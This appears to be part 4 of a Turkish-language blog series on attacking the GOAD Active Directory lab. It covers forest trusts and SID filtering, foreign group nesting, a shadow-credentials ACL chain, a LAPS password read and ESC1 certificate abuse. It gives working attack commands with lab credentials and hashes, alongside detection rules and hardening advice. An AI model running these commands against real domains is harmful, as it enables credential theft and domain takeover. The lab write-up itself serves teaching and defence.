Series · 4 partsAssessing Active DirectoryPart 4 · You are here
  1. 1GOAD Bölüm 1: Sıfır Kimlik Bilgisinden Saldırı Grafiğine
  2. 2GOAD Bölüm 2: NORTH Domain Controller'ını Ele Geçirmek
  3. 3GOAD Bölüm 3: ACL Zincirinde Orman Köküne Tırmanmak
  4. 4GOAD Bölüm 4: Orman Güvenini Aşarak essos.local'i Ele GeçirmekYou are here

Orman güveni neden bedava bir Domain Admin değildir

Bölüm 3’ün sonunda sevenkingdoms.local orman kökünü ele geçirmiş ve krbtgt hash’ini almıştık. Çok ormanlı bir laboratuvarda insanın aklına hemen şu soru gelir: essos.local’e sahte bir biletle giremez miyim? Cevap hayır. Üstelik bu “hayır”ın nedenini anlamak, tek bir araç çalıştırmadan önce zihninde doğru modeli kurmanı sağlar; çünkü aynı yanlış varsayım gerçek bir denetimde saatler kaybettirebilir.

Active Directory iki tür güven arasında kesin bir çizgi çeker. Ebeveyn–alt (parent–child) güveni tek bir ormanın içinde yaşar; burada tüm etki alanları zaten tek bir Schema ve Configuration bölümünü paylaşır. Orman güveni (forest trust) ise birbirinden tamamen bağımsız iki ormanı birleştirir. İki taraftaki trustAttributes değerini okumak, aradaki farkı tek bakışta görünür kılar:

$ ldapsearch -x -H ldap://192.168.56.10 -D "[email protected]" -w "powerkingftw135" \
    -b "CN=System,DC=sevenkingdoms,DC=local" "(objectClass=trustedDomain)" \
    cn flatName trustAttributes | grep -E "^(cn|flatName|trust)"
cn: north.sevenkingdoms.local
flatName: NORTH
trustAttributes: 32            # WITHIN_FOREST — SID filtering OFF
cn: essos.local
flatName: ESSOS
trustAttributes: 72            # TREAT_AS_EXTERNAL | FOREST_TRANSITIVE — SID filtering ON

$ ldapsearch -x -H ldap://192.168.56.12 -D "[email protected]" -w "fr3edom" \
    -b "CN=System,DC=essos,DC=local" "(objectClass=trustedDomain)" \
    cn flatName trustAttributes | grep -E "^(cn|flatName|trust)"
cn: sevenkingdoms.local
flatName: SEVENKINGDOMS
trustAttributes: 8             # FOREST_TRANSITIVE — SID filtering ON

trustAttributes, Multi-Forest Active Directory Architecture yazısında ayrıntılı olarak açtığım [MS-ADTS] §6.1.6.7.9 bitmask’idir. Çıktıdaki değerler ondalık yazılmıştır; bu yüzden 72 gibi bir sayı gördüğünde bunu 64 + 8, yani TREAT_AS_EXTERNAL ile FOREST_TRANSITIVE bayraklarının birleşimi olarak okumalısın. Burada bakman gereken asıl fark 32 (0x20 = WITHIN_FOREST) ile 8/72 (FOREST_TRANSITIVE, isteğe bağlı olarak TREAT_AS_EXTERNAL ile) arasındadır:

  • WITHIN_FOREST (32) ebeveyn–alt ilişki, SID filtering kapalı anlamına gelir. Bu yüzden north içinde üretilen bir Golden Ticket, ExtraSids alanında ana etki alanının Enterprise Admins SID’ini taşıyıp sevenkingdoms.local’a girebiliyordu. Bu, orman içi yükseltme numarasıdır; ormanlar arasında geçerli değildir. Sebep basittir: alt etki alanı bir yönetim birimidir, güvenlik sınırı değildir.
  • FOREST_TRANSITIVE (8/72) SID filtering’i (Quarantine) devreye alır. Bir bilet orman güveni üzerinden essos.local’e geçerken, essos KDC’si biletin ExtraSids / PAC alanındaki, çağıranın kendi SID’i olmayan veya güvenen ormanın meşru bir üyesine ait olmayan her SID’i ayıklar. Yani sevenkingdoms.local’da krbtgt ile üretilmiş ve S-1-5-21-...-519 (Enterprise Admins) taşıyan bir bilet, essos.local’e o SID silinmiş hâlde varır. Elinde hâlâ geçerli bir bilet vardır, ama artık ayrıcalıklı değildir.
Ormanlar arası güven ilişkisini, Spys grubuna FSP eşlemesini ve BRAAVOS ile MEEREEN sunucularına uzanan saldırı yolunu gösteren BloodHound çizgesi
BloodHound saldırı çizgesi Ormanlar arası köprünün BloodHound üzerindeki görsel temsili. SID filtering sahte biletleri geçersiz kılarken, Small Council grubunun Spys içindeki ForeignSecurityPrincipal üyeliği sınırlar arasında meşru ve kimliği doğrulanmış bir yetkilendirme kanalı açar.

Protokol ve matematiksel kablo mekaniği: trustAttributes: 72 bitmask ayrıştırması

trustAttributes alanındaki sayısal değerler [MS-ADTS] §6.1.6.7.9 (Trusted Domain Object) standardında tanımlanmıştır:

Bayrak SabitiOnaltılık DeğerOndalık DeğerAnlamı ve Ağ Davranışı
TRUST_ATTRIBUTE_NON_TRANSITIVE0x000000011Güven ilişkisi hedef etki alanının ötesine geçişken değildir.
TRUST_ATTRIBUTE_UPLEVEL_ONLY0x000000022Etki alanı Windows 2000 ve daha yeni Kerberos uzantılarını destekler.
TRUST_ATTRIBUTE_QUARANTINED_DOMAIN0x000000044Bir dış güvende (external trust) SID Filtering açıkça etkinleştirilmiştir.
TRUST_ATTRIBUTE_FOREST_TRANSITIVE0x000000088Ormanlar arası güven; SID Filtering varsayılan olarak zorunludur.
TRUST_ATTRIBUTE_WITHIN_FOREST0x0000002032Orman içi ağaç/alt etki alanı güveni; SID Filtering devre dışıdır.
TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL0x0000004064Delegasyon ve PAC kuralları için güven dış sınır olarak değerlendirilir.

sevenkingdoms.local → essos.local yönündeki matematiksel bit düzeyinde VEYA (bitwise OR) bağıntısı:

$$\text{trustAttributes} = \text{FOREST_TRANSITIVE} \mid \text{TREAT_AS_EXTERNAL} = 8 \mid 64 = 72 \quad (0\text{x}08 \mid 0\text{x}40 = 0\text{x}48)$$

Bir Kerberos yönlendirme (referral) bileti essos.local sınırını geçtiğinde KDC, KrbFilterSids() yordamını ([MS-PAC] §4.1.2.2) çalıştırır. FOREST_TRANSITIVE (8/72) altında, biletin ExtraSids alanında yer alan ve RID’i 1000’in altında olan (örneğin 512 Domain Admins veya 519 Enterprise Admins) ya da etki alanı SID’i güvenilen ormanla eşleşmeyen tüm harici SID’ler yetki verisinden ayıklanır. Buna karşılık WITHIN_FOREST (32) altında KrbFilterSids() aynı ormanın üye etki alanları için baypas edilir; bu da alt etki alanından ebeveyne bilet yükseltmeyi mümkün kılar.

Windows PowerShell üzerinde güven yapılandırması şu komutla incelenebilir:

Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType, TrustAttributes

Tespit: trustAttributes değerini yukarıdaki gibi ldapsearch ile veya nxc ldap <dc> -u <user> -p <pass> --trusted-for-delegation ile kimlik doğrulamış her kullanıcı okuyabilir. Burada alarm verilecek bir şey yoktur; bu, dizinin statik metadata’sıdır ve tek başına bir ihlal göstermez.

Kontrol: SID filtering, dış ve orman güvenleri için varsayılan olarak açıktır ve öyle kalmalıdır. Avlanman gereken yanlış yapılandırma, SID filtering’i açıkça kapatılmış (netdom trust ... /quarantine:no) bir orman güveni ya da yanlışlıkla orman güveni olarak oluşturulmuş bir dış güvendir. Güveni bir güvenlik duvarı kuralı gibi düşün: ormanlar arası NETLOGON/RPC (135/445) erişilebilirliği asıl saldırı yüzeyidir. Bu portlar açıkken güven “yalnızca kimlik doğrulama” için değil, aynı zamanda keşif ve yanal hareket için de bir kapı hâline gelir. Bu yüzden güven envanterini yalnızca “hangi ormanlar bağlı” diye değil, “hangi yönde, hangi protokollerle ve hangi SID filtering ayarıyla bağlı” diye tutmak gerekir.

Sınırı gerçekten geçen şey: yabancı grup yuvalama

SID filtering sahte bir bileti durdurur, ama meşru bir ormanlar arası yetkiyi durdurmaz. missandei olarak essos.local’in gruplarını numaralandırdığımda bir kayıt hemen dikkatimi çekti: Spys grubunun üyesi bir essos hesabı değil, bir foreign security principal nesnesiydi:

$ ldapsearch -x -H ldap://192.168.56.12 -D "[email protected]" -w "fr3edom" \
    -b "DC=essos,DC=local" "(&(objectClass=group)(sAMAccountName=Spys))" member
member: CN=S-1-5-21-3291916993-3717649449-3745629854-1108,CN=ForeignSecurityPrincipals,DC=essos,DC=local

Bu SID sevenkingdoms.local’a aittir ve RID -1108 Small Council grubunu gösterir; yani Bölüm 3’te tyron.lannister’ı eklediğimiz grubun ta kendisini. Demek ki iki orman yalnızca bir güvenle değil, aynı zamanda ormanlar arası grup yuvalamasıyla da birbirine bağlıdır: Small Council (sevenkingdoms), Spys (essos) grubunun üyesidir ve bu üyelik CN=ForeignSecurityPrincipals altında bir ForeignSecurityPrincipal nesnesi olarak saklanır. Bu nesne, hedef ormanda yerel bir temsilci gibi davranır; asıl kimlik ise kaynak ormanda kalır.

Sonuç somuttur. Spys grubu, jorah.mormont üzerinde GenericAll tutar:

$ impacket-dacledit -action read -target jorah.mormont "essos.local/missandei:fr3edom" -dc-ip 192.168.56.12
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : Spys (S-1-5-21-2405585222-1741672622-953379088-1112)

“Bir orman güvenini nasıl geçersin?” sorusunun gerçek cevabı budur. Ayrıcalıklı bir SID’i bilete enjekte etmeye çalışmazsın; SID filtering bunu zaten bozar. Bunun yerine, kendi ormanındaki bir principal’ın hedef ormanda gerçek bir ACE tutmasını sağlayan meşru bir ormanlar arası grup üyeliği kullanırsın. tyron.lannister (Small Council içindeki bir sevenkingdoms kullanıcısı) essos.local’e kimlik doğruladığında kendi SID’i onunla birlikte gider ve essos DC’si bu SID’i Spys grubunun giden haklarına göre değerlendirir. Burada filtrelenecek bir şey yoktur, çünkü ortada enjekte edilmiş bir ExtraSids değeri değil, kullanıcının gerçek SID’i vardır. Fark küçük görünür ama sonucu büyüktür: savunma tarafı bilet sahteciliğini engellerken, yanlış kurgulanmış bir grup üyeliği kapıyı açık bırakır.

BloodHound Cypher: Ormanlar arası grup yuvalamalarını haritalamak

BloodHound üzerinde güven sınırlarını aşan tüm ForeignSecurityPrincipal bağlantılarını keşfetmek için:

MATCH (g1:Group)-[:MemberOf]->(g2:Group)
WHERE g1.domain <> g2.domain
RETURN g1.name AS ForeignGroup, g1.domain AS SourceDomain, g2.name AS LocalGroup, g2.domain AS TargetDomain

Tespit: Ormanlar arası grup üyelikleri CN=ForeignSecurityPrincipals,DC=<domain>,DC=<tld> altında birikir. Bunları ldapsearch ... "(objectClass=foreignSecurityPrincipal)" ile listele ve her FSP’yi güvenen etki alanına geri eşleştir. Böylece yerel hak verilmiş düşük ayrıcalıklı bir grubun (Small Council gibi) olup olmadığını görürsün. essos tarafındaki herhangi bir gruba yabancı üye eklendiğinde 5136/4732 olaylarını izle; özellikle ayrıcalıklı bir gruba yapılan yabancı ekleme yüksek öncelikli bir sinyaldir.

Kontrol: ForeignSecurityPrincipals kabını Tier-0 yapılandırması gibi ele al. Yalnızca ayrılmış ormanlar arası yönetici gruplarını yuvala; geniş kullanıcı gruplarını asla. Yabancı bir principal’a verilen her ACE’i de düzenli olarak denetle. SID filtering seni bilet sahteciliğinden korur, ama yanlış grubu yuvalamış bir yöneticiden seni hiçbir şey korumaz.

Essos domain temel yapılandırması ve savunma duruşu

Resmi GOAD dokümantasyonu essos.local ormanına iki Windows Server 2016 sunucusu tahsis eder:

SunucuIPRolİşletim SistemiWindows DefenderAna Yüzey ve Vektörler
DC03 (meereen)192.168.56.12Orman Kökü DC, KDC, DNS, Enterprise CAWindows Server 2016Etkin (Enabled)Ormanlar arası güven uç noktası, AS-REP roasting (missandei), AD CS ESC1-ESC8
SRV03 (braavos)192.168.56.23Üye Sunucu, MSSQL, LAPS, gMSAWindows Server 2016Etkin (Enabled)LAPS (ms-Mcs-AdmPwd), CASTELBLACK’ten gelen MSSQL linked server hedefi

[!NOTE] GOAD tasarımında hem DC03 hem de SRV03 Windows Defender Etkin durumda çalışır. LDAP üzerinden LAPS parolalarını okumak, Kerberos ormanlar arası biletleri istemek ve AD CS şablonlarını sorgulamak onaylı yönetim protokolleri üzerinden gerçekleştiğinden doğrudan antivirüs uyarısı üretmez. Tespit bütünüyle Güvenlik Olay Günlüklerine ve dizin denetimine dayanır.

missandei dayanağından BRAAVOS’ta LAPS’a

Ormanlar arası yuvalama hikâyenin en ilginç kısmıdır; ancak güvenilir ele geçirme yolu yine essos.local’in içinden geçer. Başlangıç noktamız, Bölüm 1’de AS-REP Roasting ile kırdığımız missandei : fr3edom hesabıdır. BloodHound’un ACL koleksiyonu zinciri net biçimde çizer:

[email protected]       --[GenericAll  ]-->  [email protected]
[email protected]      --[GenericAll  ]-->  [email protected]
[email protected] --[GenericWrite]-->  [email protected]
[email protected]   --[ReadLAPSPassword]--> BRAAVOS.ESSOS.LOCAL
ORMANLAR ARASI GÜVEN · ESSOS.LOCAL'DEN BRAAVOS'A YOL sevenkingdoms.local Bölüm 3'te ele geçirildi orman güveni · SID FILTER AÇIK Small Council → Spys (FSP) essos.local Spys ← Small Council missandei GenericAll → AS-REP (Bölüm 1) khal.drogo GenericAll → shadow credentials viserys GenericWrite → shadow credentials jorah ReadLAPS → ms-Mcs-AdmPwd BRAAVOS yerel admin ESSOS-CA shadow credentials → NT hash → LAPS → BRAAVOS'ta yerel admin
essos.local yolu: yabancı grup yuvalaması (Small Council → Spys) güveni meşru yoldan geçer; güvenilir yükseltme zinciri ise ormanın içinde ilerler. missandei, üç GenericAll/GenericWrite adımıyla jorah.mormont'a ulaşır ve onun ReadLAPSPassword hakkı BRAAVOS yerel yöneticisinin kilidini açar.

Her adım, Bölüm 3’te kullandığımız primitifin aynısıdır; yine de kenar başına ne kadar az şey değiştirmen gerektiğine dikkat et. missandei’nin khal.drogo üzerinde GenericAll hakkı vardır. certipy shadow auto hedefe bir key credential yazar, PKINIT üzerinden kimlik doğrular, NT hash’ini alır ve sonra hesabı eski hâline getirir; yani parolayı hiç değiştirmeden aynı kapıdan çıkar:

$ certipy-ad shadow auto -u [email protected] -p fr3edom -account khal.drogo -dc-ip 192.168.56.12
[*] Successfully added Key Credential ... to the Key Credentials for 'khal.drogo'
[*] Got TGT
[*] Successfully restored the old Key Credentials for 'khal.drogo'
[*] NT hash for 'khal.drogo': 739120ebc4dd940310bc4bb5c9d37021

İki özdeş adım daha atarız: khal.drogo → viserys.targaryen (GenericAll) ve viserys.targaryen → jorah.mormont (GenericWrite). Sonunda hiçbir parola öğrenmeden jorah.mormont’un hash’ini elimizde tutarız. Bu, zincirin en sessiz kısmıdır; çünkü hiçbir hesabın parolası değişmez ve kullanıcılar çalışmaya devam eder:

[*] NT hash for 'viserys.targaryen': d96a55df6bef5e0b4d6d956088036097
[*] NT hash for 'jorah.mormont':    4d737ec9ecf0b9955a161773cfed9611

jorah.mormont için ödül başka bir kullanıcı hesabı değil, LAPS’tır. BRAAVOS$ bilgisayar nesnesi üzerindeki ms-Mcs-AdmPwd özniteliğinde (GUID dfe058bd-b18e-4c1b-8ce8-ce4b7933781e) sahip olduğu ReadProperty hakkı, yönetilen yerel yönetici parolasını doğrudan LDAP’tan çekmesini sağlar. Yani makinenin üzerine hiç dokunmadan, yalnızca dizin okumasıyla yerel yönetici oluruz:

$ ldapsearch -x -H ldap://192.168.56.12 -D "[email protected]" -w "H0nnor!" \
    -b "DC=essos,DC=local" "(ms-Mcs-AdmPwd=*)" sAMAccountName ms-Mcs-AdmPwd
sAMAccountName: BRAAVOS$
ms-Mcs-AdmPwd: E(D8oS]3zX79Px

$ nxc smb 192.168.56.23 -u Administrator -p "E(D8oS]3zX79Px" --local-auth
SMB  192.168.56.23  445  BRAAVOS  [+] BRAAVOS\Administrator:E(D8oS]3zX79Px (Pwn3d!)

BloodHound Cypher: LAPS parolası okuma haklarını sorgulamak

essos.local içindeki bilgisayarlar üzerinde düz metin LAPS yönetici parolasını okuma yetkisine sahip principal’ları listelemek için:

MATCH (u:User)-[r:ReadLAPSPassword]->(c:Computer)
RETURN u.name AS Reader, c.name AS TargetComputer

Windows ve PowerShell araç eşdeğerleri (LAPS özniteliği çekme)

Etki alanı erişimi olan bir Windows sisteminden LAPS parolası ActiveDirectory modülü veya AdmPwd PowerShell modülü ile okunabilir:

# ActiveDirectory PowerShell modulu (ms-Mcs-AdmPwd ozelligini okuma)
Get-ADComputer braavos -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwd

# AdmPwd.PS PowerShell modulu
Get-AdmPwdPassword -ComputerName braavos

BRAAVOS (192.168.56.23), aynı zamanda ESSOS-CA’yı barındıran üye sunucudur. Buradaki yerel yöneticilik, ikinci ormanda bir Tier-0 dayanak noktası demektir; çünkü CA barındıran bir sunucu, üzerinde çalıştığı katman ne olursa olsun Tier-0 varlığı sayılır.

Tespit: Shadow credentials adımları Bölüm 3 ile aynıdır; her hesap için msDS-KeyCredentialLink üzerinde Event ID 5136 görünür. LAPS okuması daha sessizdir: gizli bir özniteliğin LDAP okumasıdır ve DC’de (kaydedilirse) Event ID 4662 olarak loglanır. En keskin sinyal, düşük ayrıcalıklı tek bir hesabın (jorah.mormont) dokunmak için operasyonel bir nedeni olmayan bir makinenin ms-Mcs-AdmPwd değerini aniden okumasıdır.

Kontrol: Sıradan kullanıcılar arasındaki GenericAll/GenericWrite ACE’lerini (missandei → khal.drogo, khal.drogo → viserys, viserys → jorah) Bölüm 3’te yaptığımız gibi buda. LAPS tarafında ReadLAPSPassword (ms-Mcs-AdmPwd) verilmiş her hesabı denetle ve listeyi gerçekten ihtiyacı olan yardım masası araçlarıyla sınırlı tut. jorah.mormont’un BRAAVOS’un LAPS parolasını okumak için hiçbir işi yoktur. İsteğe bağlı olarak, düz metin ms-Mcs-AdmPwd yerine hedef makinenin TPM/DPAPI’sine bağlı şifrelemeli Windows LAPS’a geç; böylece dizin sızsa bile parola tek başına kullanılamaz.

AD CS katmanı: ESSOS-CA ve ESC şablonları

essos.local, kendi Enterprise CA’sı ESSOS-CA’yı Domain Controller üzerinde değil, BRAAVOS (.23) üzerinde çalıştırır. CA’yı DC üzerinde barındırmak yaygın ama tehlikeli bir yerleşimdir; bu laboratuvar ise CA’yı DC’ye koymak yerine daha az korunan bir üye sunucuya taşır ve Tier-0 varlığını o kutuya bağlar. missandei olarak certipy find, savunmasız yüzeyi tek seferde numaralandırır:

$ certipy-ad find -u [email protected] -p fr3edom -dc-ip 192.168.56.12 -vulnerable -stdout
Certificate Authorities
  0
    CA Name           : ESSOS-CA
    DNS Name          : braavos.essos.local
    User Specified SAN: Enabled        # ESC6
    [!] ESC8          : Web Enrollment is enabled over HTTP.
    [!] ESC11         : Encryption is not enforced for ICPR (RPC) requests.

Certificate Templates
  Template Name: ESC1    -> ESC1: Enrollee supplies subject + client authentication
  Template Name: ESC2    -> ESC2: any-purpose EKU
  Template Name: ESC3-CRA -> ESC3: Certificate Request Agent EKU
  Template Name: ESC9    -> ESC9: no security extension
  Template Name: WebServer -> ESC15 (schema v1) / ESC17 (server auth)

Başrol ESC1’dedir: ESC1 şablonu Domain Users tarafından kaydedilebilir, kaydolan kişinin subject’i belirlemesine izin verir ve client authentication’a müsaade eder. Bu üç koşul bir araya geldiğinde missandei gibi sıradan bir etki alanı kullanıcısı, [email protected] içeren bir sertifika talep edebilir; sertifikayı PKINIT üzerinden sunarak daenerys.targaryen’in TGT’sini alabilir. daenerys.targaryen ise Domain Admins grubunun doğrudan üyesidir. Yani tek bir yanlış şablon ayarı, ikinci ormanın en üstüne giden kapıyı aralar:

$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC1 \
    -upn [email protected] -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[!] Failed to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE: ept_s_not_registered

Bu laboratuvar örneğinde ESSOS-CA enrollment uç noktaları hizmet vermiyor. ICertRequest RPC arayüzü (91AE6020-9E3C-11CF-8D7C-00AA00C091BE) ept_s_not_registered döndürüyor; /certsrv/ web enrollment 80/tcp üzerinde yanıt veriyor ama çalışan bir CEP/CES uç noktası sunmuyor. Yapılandırma savunmasız: şablonlar ve User Specified SAN bayrağı gerçekten var ve numaralandırılabiliyor. Buna karşılık servis tarafı kapalı. Başarısız isteği bilerek bıraktım, çünkü bu tam olarak GOAD belgeleriyle belirli bir çalışan örnek arasında ortaya çıkan farktır. “ESC1 bize Domain Admin verir” diye yazmadan önce CA’nın gerçekten erişilebilir olduğunu doğrulamak iyi bir alışkanlıktır; aksi hâlde raporda olmayan bir istismarı anlatmış olursun. Kısacası keşif çıktısı bir potansiyel listesidir; kanıt ise ancak istek gerçekten yanıt verdiğinde oluşur. Bu ayrımı korumak, teknik yazının güvenilirliğini ayakta tutan en temel disiplindir.

CA canlı olduğunda tamamlama, standart sertifikadan etki alanı yöneticiliğine giden akıştır: certipy req -upn [email protected] → certipy auth -pfx daenerys.pfx → bir daenerys.targaryen TGT’si → meereen.essos.local’a karşı secretsdump ile DCSync. daenerys.targaryen Domain Admins içinde oturduğu için tek bir sertifika, ikinci ormanın tamamına eşdeğerdir.

BloodHound Cypher: Savunmasız ESC1 sertifika şablonlarını bulmak

Düşük yetkili kayda izin veren, enrollee-supplied SAN ve istemci kimlik doğrulaması içeren şablonları sorgulamak için:

MATCH (u:User)-[:Enroll]->(t:CertificateTemplate)
WHERE t.enrolleesuppliessubject = true AND t.authenticationenabled = true
RETURN u.name AS Principal, t.name AS TemplateName

Windows ve C# araç eşdeğerleri (Certify)

Bir Windows sisteminde ESC1 sertifika talebi ve kimliğe bürünme işlemi Certify ile yürütülür:

# Certify ile daenerys.targaryen adina sertifika talebinde bulunma
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC1 /altname:daenerys.targaryen

Tespit: certipy find’in kendisi bir LDAP okuma patlaması ve CA registry’sine (RRP) bir RPC bağlantısı tetikler; bunu yönetici olmayan bir iş istasyonundan gelen anomali olarak logla. ESC1 istismarı ise CA üzerinde Event ID 4886/4887 (sertifika istendi/verildi) olarak görünür; PKINIT ise pre-auth type 16 ile 4768 üretir.

Kontrol: AD CS, bu laboratuvardaki en yüksek getirili sıkılaştırma hedefidir. Domain Users tarafından kaydedilebilen her şablondan EnrolleeSuppliesSubject ayarını kaldır (veya yönetici onayı zorunlu kıl), CA üzerinde User Specified SAN özelliğini kapat, HTTP web enrollment’ı (ESC8) devre dışı bırak ve ICPR isteklerinde şifrelemeyi zorunlu kıl (ESC11). Her şeyden önce Enterprise CA sunucusunu (BRAAVOS), hangi makinede çalışırsa çalışsın Tier 0 olarak ele al.

Domain Admin kısayolu: yuvalanmış bir ejderha

Kayda değer bir yapısal bulgu daha var; çünkü Domain Admin’in yalnızca ACL zincirlerinden gelmediğini hatırlatıyor. essos.local içindeki Domain Admins grubu QueenProtector grubunu, o da Dragons grubunu, o da drogon hesabını içerir:

Domain Admins  ->  QueenProtector  ->  Dragons  ->  drogon

Bu, sıradan kullanıcı drogon’un üç seviyeli iç içe grup üyeliği sayesinde etkin biçimde Domain Admin olduğu anlamına gelir; hiçbir ACL istismarı gerekmez. drogon’u kontrol eden herkes ön kapıdan Domain Admins içine yürür: örneğin gmsaDragon$ yönetilen parolasını okuyup giden haklarını kullanarak ya da drogon’un parolası zayıf ve kırılabilir olduğu için. İç içe gruplar, “benim ayrıcalıklı bir hesabım yok” cümlesinin yanlış çıktığı yerdir. Yöneticiler genellikle doğrudan üyeliklere bakar; oysa etki, zincirin en altındaki sıradan hesaptan en üste kadar uzanır.

Tespit / Kontrol: Yalnızca doğrudan üyelikleri değil, etkin grup üyeliğini de numaralandır. BloodHound’un AdminTo/MemberOf sorguları ve nxc ldap --get-network bu iş için doğru araçlardır. Ayrıcalıklı grupları düzleştir ki Domain Admins hiçbir zaman bir kullanıcı grubu zinciri içermesin; yuvalamanın herhangi bir noktasında oturan hesaplar için de parola kalitesine bir alt sınır koy.

Ormanlar arası ve domain içi savunma telemetrisi

Ormanlar arası sınırları güvenceye almak; güven geçişlerini, dizin öznitelik okumalarını ve sertifika taleplerini gözlemlemeyi gerektirir:

Saldırı VektörüWindows Event IDOlay AçıklamasıTelemetri Ayrıntıları ve Göstergeler
Ormanlar Arası TGS Talebi4769Kerberos Servis Bileti TalebiServiceName: krbtgt/essos.local, ormanlar arası yönlendirme bilet opsiyonları
FSP Güvenlik Grubu Değişikliği4728 / 4732Güvenlik Grubuna Üye EklendiYabancı Güvenlik Principal’ı SID’i (CN=S-1-5-21-...) ile üyelik eklenmesi
Shadow Credentials Anahtar Yazımı5136Dizin Servisi Nesnesi Değiştirildikhal.drogo / viserys üzerinde msDS-KeyCredentialLink özniteliği yazımı
LAPS Parolası Okuma4662Nesne Üzerinde İşlem Gerçekleştirildims-Mcs-AdmPwd özniteliğini hedefleyen 0x10 (Read Property) erişim maskesi
AD CS Sertifika Düzenlenmesi4887Sertifika Servisi Onaylandı ve VerildiTemplate: ESC1/ESC2, Talep eden ile Sertifika Öznesi uyumsuzluğu (daenerys taklidi)
Ağ Yoluyla Yönetici Girişi4624Başarılı Ağ OturumuLogonType: 3, Hedef BRAAVOS$ / MEEREEN$, Hesap daenerys.targaryen

SIEM ve SOC tespit kuralları

Ormanlar arası pivot adımlarını, LAPS okumalarını ve sertifika kimliğe bürünmelerini tespit etmek hedefe yönelik SIEM kuralları gerektirir:

1. Splunk: LAPS Özniteliği Okuma (Event ID 4662)

Gizli ve düz metin LAPS parolasını barındıran ms-Mcs-AdmPwd özniteliğine (GUID {dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}) yönelik dizin okuma işlemlerini tespit eder:

index=wineventlog EventCode=4662 ObjectType="computer"
| search AccessMask="0x10" AND Properties="*{dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}*"
| table _time, SubjectUserName, ComputerName, ObjectName, Properties

2. Splunk: SAN Taklidi İçeren AD CS Sertifika Talebi (Event ID 4887)

ESSOS-CA tarafından düzenlenen sertifikalarda talep eden hesap ile sertifika içindeki Subject Alternative Name (SAN) UPN kimliğinin uyuşmadığı durumları yakalar:

index=wineventlog EventCode=4887
| search CertificateTemplate IN ("ESC1", "ESC2")
| eval requester=coalesce(Requester, SubjectUserName)
| where requester != UPN AND isnotnull(UPN)
| table _time, ComputerName, requester, UPN, CertificateTemplate

3. Sigma kural kesiti: Yetkisiz LAPS parolası sorgulaması

title: Yetkisiz LAPS Parolasi Oznitelik Sorgusu
status: experimental
description: Duz metin ms-Mcs-AdmPwd ozniteligine yapilan LDAP okuma islemlerini tespit eder
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: 'computer'
    AccessMask: '0x10'
    Properties|contains: '{dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}'
  condition: selection
falsepositives:
  - Yetkili merkezi yardim masasi yonetim yazilimlari
level: high

Bulguların özeti

BulguYolEtkiDoğrula (Kali’den)Kontrol
Orman güveninde SID filtering AÇIKsevenkingdoms ↔ essosSahte ExtraSids/SID-history bileti DA’ya ulaşamazldapsearch ... (trustedDomain trustAttributes)Quarantine’i açık tut; güven tipini denetle
Yabancı grup yuvalamaSmall Council (sevenkingdoms) → Spys (essos)Bir sevenkingdoms principal’ı jorah.mormont üzerinde GenericAll tutarldapsearch ... (foreignSecurityPrincipal)Yalnızca ayrılmış ormanlar arası yönetici gruplarını yuvala
Orman içi ACL zincirimissandei → khal.drogo → viserys → jorahShadow credentials ile parolasız üç NT hashHer adımda certipy-ad shadow auto -account <u>Kullanıcılar arası GenericAll/GenericWrite’i kaldır
BRAAVOS$ üzerinde ReadLAPSPasswordjorah.mormontBRAAVOS yerel yöneticisi (E(D8oS]3zX79Px)ldapsearch ... "(ms-Mcs-AdmPwd=*)"ms-Mcs-AdmPwd okuyucularını denetle; Windows LAPS
ESSOS-CA ESC şablonlarıBRAAVOS üzerinde ESSOS-CAESC1/2/3/4/6/8/9/11 → PKINIT ile daenerys (DA)certipy-ad find ... -vulnerableEnrolleeSuppliesSubject’i kaldır; HTTP enrollment’ı kapat
Yuvalanmış Domain Adminsdrogon ∈ Dragons ∈ QueenProtector ∈ DAİç içe gruplarla etkin DABloodHound AdminTo / MemberOfAyrıcalıklı grup yuvalamasını düzleştir

Seriyi kapatırken

Bu, dört bölümlük anlatının son parçası ve biçiminin kendisi asıl ders: üç etki alanı, iki orman ve her “exploit” aslında birinin unuttuğu bir sınırı geçen sıradan bir Windows özelliğiydi. Bölüm 1, kimlik doğrulamasız numaralandırmayı ve AS-REP Roasting’i bir dayanak noktasına dönüştürdü. Bölüm 2, bir servis hesabını Kerberoast etti ve constrained delegation üzerinden NORTH DC’sine ulaştı. Bölüm 3, orman köküne kadar sekiz adımlı bir ACL zinciri yürüdü. Burada ise orman güveninin SID filtering’i bizi bilet üretmeyi bırakıp doğru principal olmaya zorladı: yabancı bir grup üyeliği, üç adımlı bir ACL zinciri ve LAPS üzerinden ilerledik; AD CS ise tek satırlık bitişi sundu. Her aşamada kullanılan şey bir yazılım açığı değil, yanlış yapılandırılmış meşru bir özellikti.

Burada özet geçtiğimiz derinlikli teknikler, sitemizde ayrı bağımsız teknik analizler olarak yayımlanmıştır:

Kanıt ve sınırlar

Ormanlar arası güven (trustAttributes) kontrolleri, ACL adımları (missandei → khal.drogo → viserys.targaryen), BRAAVOS üzerindeki LAPS parola okuması ve ESSOS-CA şablon numaralandırması, sevenkingdoms.local ile essos.local arasındaki izole GOAD laboratuvarında yürütüldü. Gösterilen tüm kimlik bilgileri ve SID değerleri GOAD test veri kümesine aittir; hiçbir trafik host-only laboratuvar ağının dışına çıkmadı. Başarısız sertifika isteği değiştirilmeden korundu, çünkü yapılandırmanın savunmasız olması ile servisin gerçekten çalışması arasındaki farkı göstermesi açısından öğretici.

Referanslar

Kaynaklar ve güncellik

Bu teknik not ne kadar güncel?

Kontrol edilen kaynaklar4 Kasım 2026

En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.

İnceleme DurumuKamuya açık kaynaklar incelendi

Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.